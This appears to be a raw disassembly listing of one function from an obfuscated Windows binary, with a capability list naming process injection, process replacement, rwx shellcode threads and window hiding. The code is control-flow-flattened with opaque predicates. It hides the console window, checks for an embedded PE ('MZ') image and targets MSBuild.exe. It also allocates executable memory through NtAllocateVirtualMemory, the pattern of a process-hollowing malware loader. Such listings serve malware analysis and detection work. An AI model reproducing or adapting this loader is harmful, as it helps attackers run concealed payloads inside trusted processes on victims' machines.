Function at 0x100091c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a4
mov eax, dword [0x1006e804]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1ac], 0xb34b3ff3
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1b0], eax
sub eax, 0x804eef28
je 0x1000c975
jmp 0x100091fc
mov eax, dword [ebp - 0x1b0]
sub eax, 0x80997baf
je 0x1001015c
jmp 0x10009212
mov eax, dword [ebp - 0x1b0]
sub eax, 0x80c3c615
je 0x1000cca2
jmp 0x10009228
mov eax, dword [ebp - 0x1b0]
sub eax, 0x813af092
je 0x1000eda4
jmp 0x1000923e
mov eax, dword [ebp - 0x1b0]
sub eax, 0x832b19b4
je 0x10010620
jmp 0x10009254
mov eax, dword [ebp - 0x1b0]
sub eax, 0x84049c88
je 0x10010393
jmp 0x1000926a
mov eax, dword [ebp - 0x1b0]
sub eax, 0x843ee5d5
je 0x1000e1d4
jmp 0x10009280
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8494eac7
je 0x1000eecb
jmp 0x10009296
mov eax, dword [ebp - 0x1b0]
sub eax, 0x84c75d56
je 0x100102c1
jmp 0x100092ac
mov eax, dword [ebp - 0x1b0]
sub eax, 0x854f1db1
je 0x1000fccb
jmp 0x100092c2
mov eax, dword [ebp - 0x1b0]
sub eax, 0x855f9337
je 0x100105cf
jmp 0x100092d8
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8658b5d2
je 0x1000c2a1
jmp 0x100092ee
mov eax, dword [ebp - 0x1b0]
sub eax, 0x86db793c
je 0x1000bf95
jmp 0x10009304
mov eax, dword [ebp - 0x1b0]
sub eax, 0x870ac393
je 0x1000b9bc
jmp 0x1000931a
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8764a07c
je 0x1000f828
jmp 0x10009330
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8789cdce
je 0x10010102
jmp 0x10009346
mov eax, dword [ebp - 0x1b0]
sub eax, 0x88be0103
je 0x1000d5cc
jmp 0x1000935c
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8971a82c
je 0x1000e09b
jmp 0x10009372
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8af38cb8
je 0x1000be35
jmp 0x10009388
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8b88ac84
je 0x1000df5a
jmp 0x1000939e
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8c55f5b2
je 0x1000de17
jmp 0x100093b4
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8cb7c9fb
je 0x1001001d
jmp 0x100093ca
mov eax, dword [ebp - 0x1b0]
sub eax, 0x904cded3
je 0x1000d9fb
jmp 0x100093e0
mov eax, dword [ebp - 0x1b0]
sub eax, 0x90c38378
je 0x1000b8fb
jmp 0x100093f6
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9212f783
je 0x1000f9a2
jmp 0x1000940c
mov eax, dword [ebp - 0x1b0]
sub eax, 0x935c5145
je 0x100106bb
jmp 0x10009422
mov eax, dword [ebp - 0x1b0]
sub eax, 0x949aee0e
je 0x1000c1f8
jmp 0x10009438
mov eax, dword [ebp - 0x1b0]
sub eax, 0x960b8201
je 0x1000fc9b
jmp 0x1000944e
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9831eb4b
je 0x1000b35a
jmp 0x10009464
mov eax, dword [ebp - 0x1b0]
sub eax, 0x984b1b36
je 0x1000baa7
jmp 0x1000947a
mov eax, dword [ebp - 0x1b0]
sub eax, 0x98dd3811
je 0x1000d173
jmp 0x10009490
mov eax, dword [ebp - 0x1b0]
sub eax, 0x99902b8b
je 0x1000f5f0
jmp 0x100094a6
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9a6f0f0a
je 0x1000f96f
jmp 0x100094bc
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9a98e29d
je 0x1000c292
jmp 0x100094d2
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9c6d6518
je 0x1000afa0
jmp 0x100094e8
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9d96f042
je 0x1001043a
jmp 0x100094fe
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9dd54d05
je 0x1000cd3c
jmp 0x10009514
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9e1fb6f1
je 0x1000bcae
jmp 0x1000952a
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9ef0fbdf
je 0x100103e3
jmp 0x10009540
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9faae779
je 0x1000f3bf
jmp 0x10009556
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa0789076
je 0x1000cb50
jmp 0x1000956c
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa181eb45
je 0x1000f6a8
jmp 0x10009582
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa1fefb68
je 0x1000f2ff
jmp 0x10009598
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa227f1da
je 0x1000f960
jmp 0x100095ae
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa2384085
je 0x1000cf7f
jmp 0x100095c4
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa3d0a523
je 0x1000b1d7
jmp 0x100095da
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa57a2d30
je 0x1000ba6e
jmp 0x100095f0
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa813a041
je 0x100101a1
jmp 0x10009606
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa881492f
je 0x10010375
jmp 0x1000961c
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa8c326a4
je 0x1000c92c
jmp 0x10009632
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa9c734c2
je 0x1000bf4c
jmp 0x10009648
mov eax, dword [ebp - 0x1b0]
sub eax, 0xad3d9e5d
je 0x1000ec1d
jmp 0x1000965e
mov eax, dword [ebp - 0x1b0]
sub eax, 0xad94c26e
je 0x1000e90c
jmp 0x10009674
mov eax, dword [ebp - 0x1b0]
sub eax, 0xadaf2cff
je 0x10010572
jmp 0x1000968a
mov eax, dword [ebp - 0x1b0]
sub eax, 0xaddc3473
je 0x1000e15e
jmp 0x100096a0
mov eax, dword [ebp - 0x1b0]
sub eax, 0xaf0fcec6
je 0x1000d199
jmp 0x100096b6
mov eax, dword [ebp - 0x1b0]
sub eax, 0xaf5779ce
je 0x1000ea2e
jmp 0x100096cc
mov eax, dword [ebp - 0x1b0]
sub eax, 0xafdb335e
je 0x1000fbbb
jmp 0x100096e2
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb062d4ae
je 0x1000c364
jmp 0x100096f8
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb109a6d1
je 0x100102b2
jmp 0x1000970e
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb209f891
je 0x1000db5c
jmp 0x10009724
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb2b1beb5
je 0x100103d4
jmp 0x1000973a
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb32ed992
je 0x1001013e
jmp 0x10009750
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb34b3ff3
je 0x1000ae1b
jmp 0x10009766
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb3a433e0
je 0x1001064d
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
sub edx, 0xc595f64e
sub edx, 1
add edx, 0xc595f64e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x78064f22
mov ecx, 0x7c33004
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2fed10ab
mov ecx, 0xc2c121bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
sub edx, 0x3e27638d
sub edx, 1
add edx, 0x3e27638d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb32ed992
mov ecx, 0x793b733
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100019b0
add esp, 4
lea eax, [0x1001c1d1]
sub esp, 4
mov dword [esp], eax
call fcn.100019b0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c800
call fcn.10001010
add esp, 8
lea eax, section..data
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x198]
movzx edx, word [eax]
mov eax, 0xe440169b
mov ecx, 0x2965cd8a
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [ebp - 0x120]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10011f30
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10011f30
add esp, 0xc
mov eax, dword [ebp - 0x19c]
add eax, 0x18
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x1ac], 0x4865ae14
jmp 0x10010889
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax + 0xd0]
mov dword [ebp - 0x118], eax
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xebdc2943
mov ecx, 0x7c88e482
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov al, byte [ebp - 0x112]
mov byte [ebp - 0x1a1], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x1a8], eax
mov dl, byte [ebp - 0x1a1]
mov eax, 0x984b1b36
mov ecx, 0xe29f8ff9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
add edx, 0x618dede9
sub edx, 1
sub edx, 0x618dede9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7ddc7867
mov ecx, 0xeadb5a4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf5bc10
mov ecx, 0x18c43ee4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dword [ebp - 0x1ac], 0xf32b35eb
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f401ed1
mov ecx, 0x86db793c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dl, byte [ebp - 0x111]
mov eax, 0x99902b8b
mov ecx, 0x7ae6a15b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10007800
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
lea eax, [ebp - 0x20]
mov dword [ebp - 0x104], eax
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0xa13dba1e
sub edx, 1
sub edx, 0xa13dba1e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18d52d96
mov ecx, 0x9a98e29d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x8658b5d2
jmp 0x10010889
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x188]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov edx, dword [ebp - 0x180]
mov eax, 0x32040041
mov ecx, 0xbe4be94e
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dword [ebp - 0x1ac], 0xbe4be94e
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2e5a044
mov ecx, 0x804eef28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ax, word [ebp - 0xf8]
movzx ecx, ax
mov eax, dword [ebp - 0xfc]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xf5], al
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
add edx, 0xab982306
sub edx, 1
sub edx, 0xab982306
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2e5a044
mov ecx, 0xc93277e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0x8492a8b3
sub edx, 1
sub edx, 0x8492a8b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbae7d756
mov ecx, 0x2eb5916a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ecx, dword [ebp - 0xe4]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov dword [ebp - 0x1ac], 0xde9dc85
jmp 0x10010889
mov eax, dword [ebp - 0x174]
mov dword [eax], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xe0], eax
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
add edx, 0x5a13b6d7
sub edx, 1
sub edx, 0x5a13b6d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5f8959c0
mov ecx, 0xf900008b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13ddfcad
mov ecx, 0x663ab2d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov edx, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xd4]
mov eax, 0x4a60297d
mov ecx, 0xaf0fcec6
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x16c]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x1ac], 0xf2ed55cf
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0x6bfd06b0
sub edx, 1
sub edx, 0x6bfd06b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f3d9faa
mov ecx, 0x52483e91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
add edx, 0x85df040f
sub edx, 1
sub edx, 0x85df040f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9ef0fbdf
mov ecx, 0x21336211
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xb0], eax
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
sub edx, 0x7ca9039a
sub edx, 1
add edx, 0x7ca9039a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x77eb30c7
mov ecx, 0xcd1b8c16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov edx, dword [ebp - 0xa0]
mov esi, dword [ebp - 0x9c]
mov eax, 0x6baf6cc5
mov ecx, 0x7bf848f
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0x68afd18d
sub edx, 1
sub edx, 0x68afd18d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2c5b410
mov ecx, 0x720c5f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0x2b87cb77
sub edx, 1
sub edx, 0x2b87cb77
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde88415d
mov ecx, 0xbb3cf156
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
sub edx, 0x1dfb1769
sub edx, 1
add edx, 0x1dfb1769
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9d96f042
mov ecx, 0x843ee5d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0xd134b925
sub edx, 1
sub edx, 0xd134b925
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d96f042
mov ecx, 0x276be065
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
add ecx, 0xf7bd4ba1
add ecx, 1
sub ecx, 0xf7bd4ba1
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov dword [ebp - 0x1ac], 0x3ad43101
jmp 0x10010889
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf36200ed
mov ecx, 0x46d223b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov ecx, dword [0x1006fa88]
mov eax, dword [0x1006fa84]
mov edx, ecx
sub edx, 0x94f5b356
sub edx, 1
add edx, 0x94f5b356
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc9305e19
mov ecx, 0x34ac8277
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
sub edx, 0xdfea799a
sub edx, 1
add edx, 0xdfea799a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9305e19
mov ecx, 0x3075ce8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
sub edx, 0xf77cf2fb
sub edx, 1
add edx, 0xf77cf2fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc0f5cfcf
mov ecx, 0xcde0070b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x4fd2446
jmp 0x10010889
mov dword [ebp - 0x1ac], 0xde0b96fa
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0xf2ca16be
sub edx, 1
sub edx, 0xf2ca16be
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x832b19b4
mov ecx, 0xd9ba566f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x5d52ec5e
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
add edx, 0xf584a465
sub edx, 1
sub edx, 0xf584a465
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8789cdce
mov ecx, 0x4c6f969b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dword [ebp - 0x1ac], 0xa3d0a523
jmp 0x10010889
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x1ac], 0xeed2cd22
jmp 0x10010889
mov eax, dword [0x1006fa88]
mov ecx, dword [0x1006fa84]
mov edx, eax
sub edx, 0x66a4947e
sub edx, 1
add edx, 0x66a4947e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb1401a6
mov ecx, 0x76b68233
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x88be0103
jmp 0x10010889
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x1ac], 0x5bf01864
jmp 0x10010889
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1ac], 0x2b47ef96
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x1cd34ede
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x8764a07c
jmp 0x10010889
mov dword [ebp - 0x1ac], 0x793b733
jmp 0x10010889
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x1ac], 0xba5733aa
jmp 0x10010889
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x19c], eax
